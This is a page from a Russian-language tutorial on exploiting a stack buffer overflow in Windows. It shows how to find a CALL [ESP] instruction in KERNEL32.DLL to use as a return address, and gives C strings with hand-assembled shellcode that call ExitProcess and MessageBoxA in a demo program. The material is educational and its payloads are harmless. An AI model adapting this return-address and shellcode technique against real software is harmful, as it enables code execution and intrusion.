Страница 4 из 6 Как подобрать строку Первое, что необходимо сделать - разобраться с тем, какой адрес возврата мы укажем. Учитывая то, что наш код будет находиться в строке, которую мы передаём, нам нужно передать управление на какой-нибудь адрес внутри этой строки. Самый простой способ определить этот адрес - загрузить программу в дебагере, посмотреть, по какому адресу будет находиться наша строка во время выполнения программы, и указать в качестве адреса возврата, например, адрес начала строки. Потом мы сможем записать туда необходимый нам код. У этого метода есть, правда, один недостаток. Необходимый нам адрес возврата будет "слишком маленьким", скорее всего меньше чем 0x00ffffff. А это значит, что один из байтов в строке будет нулём, и это нехорошо. Избежать этого можно следующим образом: очевидно, что после выполнения возврата из процедуры, регистр ESP будет указывать на тот "хвост" строки, который остался на стеке. Поэтому, если передать управление по адресу [ESP], то начнёт выполняться программа, записанная в этом "хвосте". Следовательно, нас бы устроила возможность выполнить инструкцию JMP [ESP] или CALL [ESP]. Такая инструкция скорее всего найдётся в одной из динамически загружаемых библиотек (DLL), которые изпользует программа. Так как DLL обычно загружаются на достаточно высокие адреса в памяти, то в качестве адреса возврата мы и укажем адрес одной из этих инструкций в DLL. Выполнение произойдёт тогда следующим образом: RET --> CALL [ESP] --> код в "хвосте" строки Одна из DLL, которые использует наша программа - KERNEL32.DLL. Попробуем найти в ней инструкцию CALL [ESP] или JMP [ESP]. Этим инструкциям соответствуют последовательности байтов 0xff 0xd4 и 0xff 0xe4. Для поиска можно использовать дебагер вроде SoftICE и просмотреть всё адресное пространство программы в области, где загружена KERNEL32.DLL (эта область начинается с Image Base, указанного в файле DLL). А можно искать просто в файле KERNEL32.DLL. Тогда лучше использовать какой-нибудь специльный HEX-редактор вроде HIEW, который указывает не только смещения байтов в файле, но и адреса, по которым они будут загружены в память. Положим что инструкция CALL [ESP] нашлась по адресу 0xbff794b3 (В общем этот адрес зависит от используемой версии KERNEL32.DLL). Вот это число мы и укажем в качестве адреса возврата, а прямо за ним в строке последует исполняемый код. Теперь займёмся теми инструкциями, которые мы хотим выполнить. Для начала попробуем написать в качестве исполняемого кода простой вызов ExitProcess, после которого программа должна завершить работу. Смотрим таблицу импортируемых функций программы (с помощью PEBrowse, PEWizard, PEDump или чего-нибудь подобного): Import Directory from "KERNEL32.DLL": name table at 0xf03c, address table at 0xf0e0 hint name ---- ---- 0 CloseHandle 0 CreateFileA 0 ExitProcess ... Так как Image Base у нашей программы - 0x400000, то адрес для вызова ExitProcess равен 0x400000 + 0xf0e0 + 8 = 0x40f0e8. Значит используем инструкцию CALL [40f0e8h]. C помощью ассемблера узнаём, что она компилируется в последовательность байтов 0xff 0x15 0xe8 0xf0 0x40 0x00. Значит переписываем функцию main следующим образом: int main() { // часть строки, заполняющая буфер char mystr[] = "111112222233333444445555566666777778" "\xb3\x94\xf7\xbf" // адрес возврата // ----------- код ----------- "\xff\x15\xe8\xf0\x40\x00"; // CALL [KERNEL32.ExitProcess] show_array(47, mystr); return 0; } Компилируем, запускаем и ничего не происходит. Нет никакого сообщения об ошибке, программа просто завершает работу. Это означает, что переполнение буфера удалось - выполнился наш код. Обнаружив теперь, что TEST.EXE импортирует и функцию MessageBoxA, адрес для вызова которой - 0x40f198, можно попробовать написать чего-нибудь поинтересней. Например, эта программа будет выдавать окошко с сообщением: int main() { char mystr[] = "111112222233333444445555566666777778" // часть строки, заполняющая буфер "\xb3\x94\xf7\xbf" // адрес возврата // ----------- код ------------ --- адрес инструкции --- "\x8b\xec" // MOV EBP, ESP // EBP+4 // (сохраним текущее значение ESP // в EBP для того, чтобы потом // адресовать память "внутри" этой // строки. EBP+4 теперь указывает на // начало этой инструкции (байт "\x8b"). // Cправа отмечены адреса относительно // EBP) "\x6a\x20" // PUSH 20h // EBP+6 "\x8d\x45\x35" // LEA EAX, [EBP+35h] // EBP+8 "\x50" // PUSH EAX // EBP+b "\x8d\x45\x1e" // LEA EAX, [EBP+1eh] // EBP+c "\x50" // PUSH EAX // EBP+f "\x6a\x00" // PUSH 0 // EBP+10 "\xff\x15\x98\xf1\x40\x00" // CALL [USER32.MessageBoxA] // EBP+12 // (предыдущие строки вызывают // MessageBox(0, "To be, or not to be..", // "Question", MB_ICONQUESTION); "\xff\x15\xe8\xf0\x40\x00" // CALL [KERNEL32.ExitProcess] // EBP+18 "To be, or not to be...\0" // Строки для передачи MessageBoxA // EBP+1e "Question\0"; // ---- // EBP+35 show_array(36+53+10, mystr); return 0; } |